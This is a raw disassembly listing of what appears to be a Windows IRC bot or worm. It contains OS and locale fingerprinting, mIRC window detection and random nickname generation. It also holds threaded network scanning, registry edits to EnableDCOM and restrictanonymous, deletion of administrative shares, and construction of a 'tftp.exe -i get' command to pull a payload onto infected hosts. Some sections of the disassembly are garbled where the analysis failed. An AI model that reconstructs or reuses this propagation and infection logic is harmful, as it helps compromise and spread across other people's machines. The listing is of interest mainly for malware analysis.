B R O U T I N E ======================================= sub_41410C proc near ; CODE XREF: seg000:00410B85p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_42104C ; GetTickCount push eax call sub_41551F pop ecx call sub_415529 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_42C168 test esi, esi jle short loc_41414F loc_414139: ; CODE XREF: sub_41410C+41j call sub_415529 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_414139 loc_41414F: ; CODE XREF: sub_41410C+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_41410C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_42104C ; GetTickCount push eax call sub_41551F pop ecx lea eax, [ebp-8] mov esi, offset dword_437574 push eax push esi call near ptr 3D0000h and [edi], ecx mov esi, 43757405h add [edx+41h], ch pop ecx push 1 pop edx loc_414195: ; CODE XREF: seg000:004141A0j cmp eax, ecx jnz short loc_41419C mov [ebp-4], edx loc_41419C: ; CODE XREF: seg000:00414197j inc ecx cmp ecx, 5Bh jl short loc_414195 push 61h pop ecx loc_4141A5: ; CODE XREF: seg000:004141B0j cmp eax, ecx jnz short loc_4141AC mov [ebp-4], edx loc_4141AC: ; CODE XREF: seg000:004141A7j inc ecx cmp ecx, 7Bh jl short loc_4141A5 mov edi, [ebp+8] push esi push 1Ch push edi call sub_415A4A xor esi, esi add esp, 0Ch cmp ds:dword_42C168, esi jle short loc_4141F1 loc_4141CB: ; CODE XREF: seg000:004141EFj call sub_415529 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43756C push 1Ch push edi call sub_415A4A add esp, 14h inc esi cmp esi, ds:dword_42C168 jl short loc_4141CB loc_4141F1: ; CODE XREF: seg000:004141C9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_42104C ; GetTickCount push eax call sub_41551F pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_421144 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_437578 push 1Ch push edi call sub_415A4A xor esi, esi add esp, 10h cmp ds:dword_42C168, esi jle short loc_414266 loc_414240: ; CODE XREF: seg000:00414264j call sub_415529 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43756C push 1Ch push edi call sub_415A4A add esp, 14h inc esi cmp esi, ds:dword_42C168 jl short loc_414240 loc_414266: ; CODE XREF: seg000:0041423Ej mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_438F9C mov dword ptr [ebp-94h], 94h call ds:dword_42110C ; GetVersionExA call ds:dword_42104C ; GetTickCount push eax call sub_41551F cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_4142F0 cmp dword ptr [ebp-8Ch], 0 jnz short loc_4142D0 cmp dword ptr [ebp-84h], 1 jnz short loc_4142C0 mov esi, offset a95 ; "95" loc_4142C0: ; CODE XREF: seg000:004142B9j cmp dword ptr [ebp-84h], 2 jnz short loc_41432C mov esi, offset aNt ; "NT" jmp short loc_41432C ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: seg000:004142B0j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_4142E0 mov esi, offset a98 ; "98" jmp short loc_41432C ; --------------------------------------------------------------------------- loc_4142E0: ; CODE XREF: seg000:004142D7j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_414327 mov esi, offset aMe ; "ME" jmp short loc_41432C ; --------------------------------------------------------------------------- loc_4142F0: ; CODE XREF: seg000:004142A7j cmp dword ptr [ebp-90h], 5 jnz short loc_414327 cmp dword ptr [ebp-8Ch], 0 jnz short loc_414309 mov esi, offset a2k ; "2K" jmp short loc_41432C ; --------------------------------------------------------------------------- loc_414309: ; CODE XREF: seg000:00414300j cmp dword ptr [ebp-8Ch], 1 jnz short loc_414319 mov esi, offset aXp ; "XP" jmp short loc_41432C ; --------------------------------------------------------------------------- loc_414319: ; CODE XREF: seg000:00414310j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_437584 jz short loc_41432C loc_414327: ; CODE XREF: seg000:004142E7j ; seg000:004142F7j mov esi, offset dword_42B798 loc_41432C: ; CODE XREF: seg000:004142C7j ; seg000:004142CEj ... mov edi, [ebp+8] push esi push offset dword_43757C push 1Ch push edi call sub_415A4A xor esi, esi add esp, 10h cmp ds:dword_42C168, esi jle short loc_414370 loc_41434A: ; CODE XREF: seg000:0041436Ej call sub_415529 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43756C push 1Ch push edi call sub_415A4A add esp, 14h inc esi cmp esi, ds:dword_42C168 jl short loc_41434A loc_414370: ; CODE XREF: seg000:00414348j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414376 proc near ; CODE XREF: sub_414419+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_42104C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_4143C5 call ds:dword_43A384 ; FindWindowA test eax, eax mov eax, offset dword_437590 jnz short loc_4143AE mov eax, offset byte_438F9C loc_4143AE: ; CODE XREF: sub_414376+31j push eax push esi push offset dword_437588 lea eax, [ebp+var_1C] push 1Ch push eax call sub_415A4A add esp, 14h jmp short loc_4143E5 ; --------------------------------------------------------------------------- loc_4143C5: ; CODE XREF: sub_414376+22j call ds:dword_43A384 ; FindWindowA test eax, eax mov eax, offset dword_437590 jnz short loc_4143D9 mov eax, offset byte_438F9C loc_4143D9: ; CODE XREF: sub_414376+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4154CD pop ecx pop ecx loc_4143E5: ; CODE XREF: sub_414376+4Dj lea eax, [ebp+var_1C] push eax call sub_415CD0 pop ecx cmp eax, 2 pop esi jbe short loc_414414 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_416EF0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_416D20 add esp, 18h loc_414414: ; CODE XREF: sub_414376+7Dj mov eax, [ebp+arg_0] leave retn sub_414376 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414419 proc near ; CODE XREF: sub_40CB59+7Fp ; sub_40CCC1+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_437514 loc_414425: ; CODE XREF: sub_414419+3Fj cmp [ebp+arg_C], 0 jz short loc_414440 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4158F0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41444A ; --------------------------------------------------------------------------- loc_414440: ; CODE XREF: sub_414419+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_41444A: ; CODE XREF: sub_414419+25j test eax, eax jnz short loc_41445C add esi, 14h inc edi cmp esi, offset dword_437578 jl short loc_414425 jmp short loc_41446A ; --------------------------------------------------------------------------- loc_41445C: ; CODE XREF: sub_414419+33j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_437518[eax*4] pop ecx loc_41446A: ; CODE XREF: sub_414419+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_41447D push [ebp+arg_0] call sub_414376 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41447D: ; CODE XREF: sub_414419+57j mov eax, [ebp+arg_0] pop ebp retn sub_414419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414482 proc near ; DATA XREF: sub_41454F+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415550 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call ds:dword_43A378 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call ds:dword_43A3F8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_414540 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_43A320 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_43F514[ecx], esi jz short loc_414540 push [ebp+var_34] push [ebp+var_28] call ds:dword_43A404 ; inet_ntoa push eax mov edi, offset dword_469244 push offset unk_437594 push edi call sub_4154CD push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_412D32 push edi call sub_40B151 add esp, 28h loc_414540: ; CODE XREF: sub_414482+5Dj ; sub_414482+7Ej push esi call ds:dword_43A410 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_414482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41454F proc near ; DATA XREF: seg000:004102E8o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_421060 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_41457D: ; CODE XREF: sub_41454F+ECj push [ebp+var_2C] push [ebp+var_20] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_4375D0 push eax call sub_4154CD lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43F308 push eax call sub_416D20 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_414482 push edi push edi call ds:dword_42108C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_4145E9 loc_4145DE: ; CODE XREF: sub_41454F+98j cmp [ebp+var_C], edi jnz short loc_4145E9 push 32h call esi ; Sleep jmp short loc_4145DE ; --------------------------------------------------------------------------- loc_4145E9: ; CODE XREF: sub_41454F+8Dj ; sub_41454F+92j push [ebp+var_4] call ds:dword_42106C ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_4155B0 add esp, 0Ch push [ebp+arg_0] call ds:dword_43A2AC ; ntohl inc eax push eax mov [ebp+arg_0], eax call ds:dword_43A374 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_4155B0 add esp, 0Ch jmp loc_41457D sub_41454F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414640 proc near ; DATA XREF: seg000:004127E4o var_98 = dword ptr -98h var_94 = byte ptr -94h var_75 = byte ptr -75h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_414687 call near ptr loc_41469F+1 jmp short loc_41468C ; --------------------------------------------------------------------------- loc_414687: ; CODE XREF: sub_414640+3Ej call sub_4149C4 loc_41468C: ; CODE XREF: sub_414640+45j add esp, 10h push [ebp+var_14] call sub_415295 pop ecx push 0 call near ptr 3D0000h loc_41469F: ; CODE XREF: sub_414640+40p cmp dl, [ebp+var_75] sub_414640 endp ; sp-analysis failed in al, dx sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_43A448, edi jnz loc_4147D2 lea eax, [ebp-4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_43A3E8 ; RegOpenKeyExA test eax, eax jnz short loc_41472B mov ax, ds:word_4379B8 mov [ebp-6], ax lea eax, [ebp-6] push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-6] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push dword ptr [ebp-4] call ds:dword_43A39C ; RegSetValueExA test eax, eax jz short loc_41470D push offset unk_437974 jmp short loc_414712 ; --------------------------------------------------------------------------- loc_41470D: ; CODE XREF: seg000:00414704j push offset dword_437944 loc_414712: ; CODE XREF: seg000:0041470Bj lea eax, [ebp-214h] push eax call sub_4154CD pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_43A354 ; RegCloseKey jmp short loc_41473E ; --------------------------------------------------------------------------- loc_41472B: ; CODE XREF: seg000:004146D6j lea eax, [ebp-214h] push offset unk_437900 push eax call sub_4154CD pop ecx pop ecx loc_41473E: ; CODE XREF: seg000:00414729j cmp [ebp+14h], edi jnz short loc_41475D push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_412D32 add esp, 14h loc_41475D: ; CODE XREF: seg000:00414741j lea eax, [ebp-214h] push eax call sub_40B151 pop ecx lea eax, [ebp-4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_43A3E8 ; RegOpenKeyExA test eax, eax jnz short loc_4147CB lea eax, [ebp-8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push dword ptr [ebp-4] mov dword ptr [ebp-8], 1 call ds:dword_43A39C ; RegSetValueExA test eax, eax jz short loc_4147AD push offset unk_43789C jmp short loc_4147B2 ; --------------------------------------------------------------------------- loc_4147AD: ; CODE XREF: seg000:004147A4j push offset unk_437854 loc_4147B2: ; CODE XREF: seg000:004147ABj lea eax, [ebp-214h] push eax call sub_4154CD pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_43A354 ; RegCloseKey jmp short loc_4147E5 ; --------------------------------------------------------------------------- loc_4147CB: ; CODE XREF: seg000:00414782j push offset unk_437804 jmp short loc_4147D7 ; --------------------------------------------------------------------------- loc_4147D2: ; CODE XREF: seg000:004146B3j push offset unk_4377C0 loc_4147D7: ; CODE XREF: seg000:004147D0j lea eax, [ebp-214h] push eax call sub_4154CD pop ecx pop ecx loc_4147E5: ; CODE XREF: seg000:004147C9j cmp [ebp+14h], edi jnz short loc_414804 push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_412D32 add esp, 14h loc_414804: ; CODE XREF: seg000:004147E8j lea eax, [ebp-214h] push eax call sub_40B151 cmp ds:dword_43A470, edi pop ecx jnz loc_41497F push ebx mov [ebp-4], edi mov [ebp-14h], edi mov [ebp-0Ch], edi loc_414827: ; CODE XREF: seg000:00414963j lea eax, [ebp-0Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-4] push eax lea eax, [ebp-8] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_43A2C4 cmp eax, edi mov [ebp-10h], eax jz short loc_4148C4 cmp eax, 0EAh jz short loc_4148C4 mov esi, offset off_437610 loc_414858: ; CODE XREF: seg000:004148BDj push dword ptr [esi] push edi call sub_413383 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41486F push offset unk_437788 jmp short loc_414874 ; --------------------------------------------------------------------------- loc_41486F: ; CODE XREF: seg000:00414866j push offset unk_437748 loc_414874: ; CODE XREF: seg000:0041486Dj lea eax, [ebp-214h] push 200h push eax call sub_415A4A add esp, 10h cmp [ebp+14h], edi jnz short loc_4148A7 push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_412D32 add esp, 14h loc_4148A7: ; CODE XREF: seg000:0041488Bj lea eax, [ebp-214h] push eax call sub_40B151 add esi, 8 pop ecx cmp esi, offset dword_437630 jl short loc_414858 jmp loc_41495C ; --------------------------------------------------------------------------- loc_4148C4: ; CODE XREF: seg000:0041484Aj ; seg000:00414851j mov esi, [ebp-8] push 1 pop ebx cmp [ebp-4], ebx jb loc_414953 loc_4148D3: ; CODE XREF: seg000:0041494Fj mov edi, [esi] push edi call sub_4179BC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_414948 push edi call sub_413270 push eax push 0 call sub_413383 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_414902 push offset unk_437710 jmp short loc_414907 ; --------------------------------------------------------------------------- loc_414902: ; CODE XREF: seg000:004148F9j push offset unk_4376D0 loc_414907: ; CODE XREF: seg000:00414900j lea eax, [ebp-214h] push 200h push eax call sub_415A4A add esp, 10h cmp dword ptr [ebp+14h], 0 jnz short loc_41493B push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_412D32 add esp, 14h loc_41493B: ; CODE XREF: seg000:0041491Fj lea eax, [ebp-214h] push eax call sub_40B151 pop ecx loc_414948: ; CODE XREF: seg000:004148E2j add esi, 28h inc ebx cmp ebx, [ebp-4] jbe short loc_4148D3 xor edi, edi loc_414953: ; CODE XREF: seg000:004148CDj push dword ptr [ebp-8] call ds:dword_43A408 loc_41495C: ; CODE XREF: seg000:004148BFj cmp dword ptr [ebp-10h], 0EAh jz loc_414827 lea eax, [ebp-214h] push offset unk_437694 push eax call sub_4154CD pop ecx pop ecx pop ebx jmp short loc_414992 ; --------------------------------------------------------------------------- loc_41497F: ; CODE XREF: seg000:00414817j lea eax, [ebp-214h] push offset unk_437650 push eax call sub_4154CD pop ecx pop ecx loc_414992: ; CODE XREF: seg000:0041497Dj cmp [ebp+14h], edi jnz short loc_4149B0 push edi lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_412D32 add esp, 14h loc_4149B0: ; CODE XREF: seg000:00414995j lea eax, [ebp-214h] push eax call sub_40B151 pop ecx push 1 pop eax pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149C4 proc near ; CODE XREF: sub_414640:loc_414687p var_3BA7640 = byte ptr -3BA7640h var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp ds:dword_43A448, ebx push esi jnz loc_414AF2 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_43A3E8 ; RegOpenKeyExA test eax, eax jnz short loc_414A4F mov ax, ds:word_437BC0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_43A39C ; RegSetValueExA test eax, eax jz short loc_414A31 push offset unk_437B88 jmp short loc_414A36 ; --------------------------------------------------------------------------- loc_414A31: ; CODE XREF: sub_4149C4+64j push offset dword_437B58 loc_414A36: ; CODE XREF: sub_4149C4+6Bj lea eax, [ebp+var_220] push eax call sub_4154CD pop ecx pop ecx push [ebp+var_4] call ds:dword_43A354 ; RegCloseKey jmp short loc_414A62 ; --------------------------------------------------------------------------- loc_414A4F: ; CODE XREF: sub_4149C4+36j lea eax, [ebp+var_220] push offset unk_437900 push eax call sub_4154CD pop ecx pop ecx loc_414A62: ; CODE XREF: sub_4149C4+89j cmp [ebp+arg_C], ebx jnz short loc_414A81 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_414A81: ; CODE XREF: sub_4149C4+A1j lea eax, [ebp+var_220] push eax call sub_40B151 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_43A3E8 ; RegOpenKeyExA test eax, eax jnz short loc_414AEB lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call ds:dword_43A39C ; RegSetValueExA test eax, eax jz short loc_414ACD push offset unk_437B08 jmp short loc_414AD2 ; --------------------------------------------------------------------------- loc_414ACD: ; CODE XREF: sub_4149C4+100j push offset unk_437AC0 loc_414AD2: ; CODE XREF: sub_4149C4+107j lea eax, [ebp+var_220] push eax call sub_4154CD pop ecx pop ecx push [ebp+var_4] call ds:dword_43A354 ; RegCloseKey jmp short loc_414B05 ; --------------------------------------------------------------------------- loc_414AEB: ; CODE XREF: sub_4149C4+E2j push offset unk_437A70 jmp short loc_414AF7 ; --------------------------------------------------------------------------- loc_414AF2: ; CODE XREF: sub_4149C4+13j push offset unk_4377C0 loc_414AF7: ; CODE XREF: sub_4149C4+12Cj lea eax, [ebp+var_220] push eax call sub_4154CD pop ecx pop ecx loc_414B05: ; CODE XREF: sub_4149C4+125j cmp [ebp+arg_C], ebx jnz short loc_414B24 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_414B24: ; CODE XREF: sub_4149C4+144j lea eax, [ebp+var_220] push eax call sub_40B151 cmp ds:dword_43A470, ebx pop ecx jnz loc_414C96 push edi mov esi, offset off_437610 mov edi, 200h loc_414B48: ; CODE XREF: sub_4149C4+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_4132D7 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_414B63 push offset unk_437A3C jmp short loc_414B68 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_4149C4+196j push offset unk_437A00 loc_414B68: ; CODE XREF: sub_4149C4+19Dj lea eax, [ebp+var_220] push edi push eax call sub_415A4A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_414B97 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_414B97: ; CODE XREF: sub_4149C4+1B7j lea eax, [ebp+var_220] push eax call sub_40B151 add esi, 8 pop ecx cmp esi, offset off_437620 jl short loc_414B48 call near ptr 3D0000h xchg al, [ebp+var_3BA7640] mov bl, 41h jz loc_414C7E loc_414BC2: ; CODE XREF: sub_4149C4+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_414C73 cmp bl, 41h jz loc_414C73 movsx esi, bl push esi push offset aC_3 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_415A4A push esi push offset aC_2 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_415A4A add esp, 20h lea eax, [ebp+var_20] push eax call ds:dword_43A3D8 ; GetDriveTypeA cmp eax, 3 jnz short loc_414C73 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4132D7 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_414C31 push offset unk_437A3C jmp short loc_414C36 ; --------------------------------------------------------------------------- loc_414C31: ; CODE XREF: sub_4149C4+264j push offset unk_437A00 loc_414C36: ; CODE XREF: sub_4149C4+26Bj lea eax, [ebp+var_220] push edi push eax call sub_415A4A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414C66 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_414C66: ; CODE XREF: sub_4149C4+286j lea eax, [ebp+var_220] push eax call sub_40B151 pop ecx loc_414C73: ; CODE XREF: sub_4149C4+206j ; sub_4149C4+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_414BC2 loc_414C7E: ; CODE XREF: sub_4149C4+1F8j lea eax, [ebp+var_220] push offset unk_4379BC push eax call sub_4154CD pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_414CA9 ; --------------------------------------------------------------------------- loc_414C96: ; CODE XREF: sub_4149C4+173j lea eax, [ebp+var_220] push offset unk_437650 push eax call sub_4154CD pop ecx pop ecx loc_414CA9: ; CODE XREF: sub_4149C4+2D0j cmp [ebp+arg_C], ebx jnz short loc_414CC7 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_414CC7: ; CODE XREF: sub_4149C4+2E8j lea eax, [ebp+var_220] push eax call sub_40B151 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4149C4 endp ; =============== S U B R O U T I N E ======================================= sub_414CDB proc near ; CODE XREF: sub_414CFB+Ap ; sub_414DD3+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_415CD0 push [esp+8+arg_4] mov esi, eax call sub_415CD0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_414CDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414CFB proc near ; CODE XREF: sub_414DEA+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_414CDB cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_414D18 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_414D18: ; CODE XREF: sub_414CFB+17j push ebx push esi push edi push [ebp+arg_8] call sub_415CD0 push [ebp+arg_C] mov esi, eax call sub_415CD0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov ds:dword_437C58, eax lea eax, [edi+1] mov ds:dword_437C79, eax lea eax, [edi+17h] mov ds:dword_437C71, eax pop eax push 74h sub eax, edi push offset dword_437BF4 push ebx mov ds:dword_437C87, eax call sub_4155B0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_4155B0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_4155B0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_4155B0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_4155B0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_4155B0 add esi, edi push 38h add esi, ebx push offset byte_437C7D push esi call sub_4155B0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_414CFB endp ; =============== S U B R O U T I N E ======================================= sub_414DD3 proc near ; CODE XREF: sub_414DEA+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_414CDB push eax call sub_414E57 add esp, 0Ch retn sub_414DD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DEA proc near ; CODE XREF: sub_403178+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_414DD3 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_414E0A cmp eax, 0FFFFh jbe short loc_414E0E loc_414E0A: ; CODE XREF: sub_414DEA+17j xor eax, eax jmp short loc_414E53 ; --------------------------------------------------------------------------- loc_414E0E: ; CODE XREF: sub_414DEA+1Ej push esi push edi push ebx call sub_414CDB add eax, 101h push eax call sub_415DA9 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_414CDB pop ecx pop ecx push eax push esi call sub_414CFB push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_414E72 push esi mov edi, eax call sub_415E1D add esp, 24h mov eax, edi pop esi loc_414E53: ; CODE XREF: sub_414DEA+22j pop edi pop ebx pop ebp retn sub_414DEA endp ; =============== S U B R O U T I N E ======================================= sub_414E57 proc near ; CODE XREF: sub_414DD3+Ep ; sub_414E72+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_414E60 inc ecx loc_414E60: ; CODE XREF: sub_414E57+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_414E57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E72 proc near ; CODE XREF: sub_414DEA+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 